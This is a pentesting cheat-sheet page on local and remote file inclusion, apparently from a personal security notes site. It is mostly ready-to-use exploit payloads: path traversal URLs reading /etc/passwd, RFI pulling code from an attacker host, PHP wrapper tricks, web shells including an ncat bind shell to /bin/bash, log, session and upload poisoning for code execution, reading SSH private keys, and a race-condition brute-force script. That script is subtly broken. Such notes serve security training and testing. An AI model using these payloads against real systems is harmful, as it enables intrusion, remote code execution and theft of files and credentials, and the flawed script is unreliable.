Defender's Notes
  • Welcome!
  • Methodology
  • Ethical Hacking
  • Resources/Blogs/Conferences/Labs
  • Writing Vulnerability Reports
  • Linux Tips
  • Certifications
  • Bug Bounty
    • Hints
  • Python
  • PenTesting
    • Recon
    • Network Scanning
    • Reverse Shell Payloads
    • API Security Testing
    • 53 - DNS
    • 21 - ftp
    • 139,445 - SMB
    • 111,2049 - rcpbind
    • Authentication
    • Scripting
    • OSINT
    • Cloud Security
    • Reverse Engineering
    • Password
    • Proxy Chain
    • Steganography
    • Buffer Overflow
  • Windows
    • Recon
    • Golden/Silver Ticket
    • PowerShell for Beginners
    • Windows Priv Escalate
      • Icecast (RPC)
    • Kerberos Attack
  • Web Pentesting
    • 80,443,8080 - Recon
    • Resources
      • Burp Suite
    • Web Vulnerabilities
      • WordPress
      • CSP Bypass
      • JSON Web Tokens
      • Insecure Desensitization
      • Open Redirect
      • Command Injection
      • Path Traversals
      • SSRF
      • SQL Injection
      • IDOR
      • Shellshock
      • Heartbleed
      • Session Attacks/Bypass
      • XSS
      • XXE
      • CSRF
      • File Inclusion (Local/Remote)
      • Drupal
    • OWASP Top 10 2017
      • Top 1: Injection
      • Top 2: Broken Authentication
      • Top 3: Sensitive Data Exposure
      • Top 4: XML External Entities (XXE)
      • Top 5: Broken Access Control
      • Top 6: Security Misconfiguration
      • Top 7: Cross-Site Scripting (XSS)
      • Top 8: Insecure Deserialization
      • Top 9: Using Components with Known Vulnerabilities
      • Top 10: Insufficient Logging & Monitoring
    • OOB
    • Java
    • Python Web Security
  • Linux
    • Upgrading shell
    • Linux Priv Escalate
      • Path Variable Manipulation
      • Systemctl
  • Binary Security
    • AOT
  • Hardware Security
    • Wi-fi
    • Radio
  • Mobile Security
    • Android
    • SMS
  • Videos
    • IppSec Videos
    • The Cyber Mentor
Powered by GitBook
On this page
  • What is it?
  • Example
  • Basic LFI and bypasses
  • traversal sequences stripped non-recursively
  • Null byte (%00)
  • Basic RFI
  • LFI / RFI using PHP wrappers
  • Wrapper php://filter
  • Wrapper zip://
  • Wrapper data://
  • Wrapper expect://
  • Wrapper input://
  • Wrapper phar://
  • LFI2RCE
  • Via Apache log file
  • Via Email
  • Via /proc/*/fd/*
  • Via /proc/self/environ
  • Via upload
  • Via Zip fie upload
  • Via PHP sessions
  • Via ssh
  • Via phpinfo() (file_uploads = on)
  • Bypass file upload
  • Modify Content-Type
  • Null byte injection
  • Cheat sheet
  • Other Resources
  • References

Was this helpful?

  1. Web Pentesting
  2. Web Vulnerabilities

File Inclusion (Local/Remote)

PreviousCSRFNextDrupal

Last updated 4 years ago

Was this helpful?

What is it?

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

  • Code execution on the web server

  • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)

  • Denial of Service (DoS)

  • Sensitive Information Disclosure

Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable PHP functions: require, require_once, include, include_once

A interesting tool to exploit this vulnerability:

Example

Example Payloads

id.php file

<?php
    $command='id';
    echo "Running the '$command' command:";
    $output=shell_exec($command);
    echo "<pre>$output</pre>";
?>

shell.php file

<?php
    echo shell_exec('ncat -l -p 4242 -e /bin/bash');
?>

Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt).

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwdhttp://example.com/index.php?page=....\/....\/....\/etc/passwdhttp://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

This is solved since PHP 5.4

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Always try to start the path with a fake directory (a/).

This vulnerability was corrected in PHP 5.3.

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd

Basic RFI

http://example.com/index.php?page=http://atacker.com/mal.phphttp://example.com/index.php?page=\\attacker.com\shared\mal.php

LFI / RFI using PHP wrappers

Wrapper php://filter

Base64 and rot13

The part "php://filter" is case insensitive

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.phphttp://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.phphttp://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

zlib (compression)

Can be chained with a compression wrapper for large files.

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

To read the comppression data you need to decode the base64 and read the resulting data using:

php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');

NOTE: Wrappers can be chained

Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  zip payload.zip payload.php;mv payload.zip shell.jpg;rm payload.php​http://example.com/index.php?page=zip://shell.jpg%23payload.php

Wrapper data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

Expect has to be activated. You can execute code using this.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Wrapper input://

Specify your payload in the POST parameters

http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>

Wrapper phar://

LFI2RCE

Via Apache log file

If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and execute code using the "c" GET parameter.

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.

This could also be done in other logs but be carefull, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted insithe this header.

Via Email

Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami

Via /proc/*/fd/*

  1. Upload a lot of shells (for example : 100)

Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> )

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

Via phpinfo() (file_uploads = on)

To exploit this vulnerability you need: A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.

You need to fix the exploit (change => for =&gt;). To do so you can do:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)

If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.

Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.

In Windows the files are usually stored in C:\Windows\temp\php<<

In linux the name of the file use to be random and located in /tmp. As the name is random, it is needed to extract from somewhere the name of the temporal file and access it before it is deleted. This can be done reading the value of the variable $_FILES inside the content of the function "phpconfig()".

phpinfo()

PHP uses a buffer of 4096B and when it is full, it is send to the client. Then the client can send a lot of big requests (using big headers) uploading a php reverse shell, wait for the first part of the phpinfo() to be returned (where the name of the temporary file is) and try to access the temp file before the php server deletes the file exploiting a LFI vulnerability.

Python script to try to bruteforce the name (if length = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

Bypass file upload

Modify Content-Type

Content-Type: image/png

Null byte injection

After uploading, I injected “%00” before “.png” extension. So updated file name becomes filename=”shell.php%00.png”. When I forwarded the request, file with null byte injection uploaded on the server.

So when implement null byte in file name shell.php%00.png, it will remove .png extension from checking. By injecting a null byte, the extension rule won’t be enforced because everything after the null byte will be ignored. Now application only checking file name as shell.php

filename="shell.php%00.png"

Cheat sheet

Other Resources

References

Check

Include , with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

Turotial HTB:

High on Coffee's LFI Cheat Sheet:

Hacktricks's File Inclusion Cheat Sheet:

LFI Fuzzer:

Exploit Path Traversals in Java WebApps

@jonathan bouman's local file inclusion at ikea.com

Exploiting File Upload using using Null byte:

OWASP LFP:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal
http://example.com/index.php?page=/proc/$PID/fd/$FD
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py
https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
https://highon.coffee/blog/lfi-cheat-sheet/
https://book.hacktricks.xyz/pentesting-web/file-inclusion
https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt
https://gist.githubusercontent.com/harisec/519dc6b45c6b594908c37d9ac19edbc3/raw/af521a3c730d4a77660e91ed41f51725cb0bbde3/exploit_path_traversals_in_Java_webapps.txt
https://medium.com/@jonathanbouman/local-file-inclusion-at-ikea-com-e695ed64d82f
https://medium.com/@gupta.bless/exploiting-file-upload-using-null-byte-d99e0d0b328b
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
https://github.com/kurobeats/fimap
212KB
LFI-With-PHPInfo-Assistance.pdf
pdf
Mutilldae: Local file inclusion
Mutilldae: Remote File Inclusion running php commands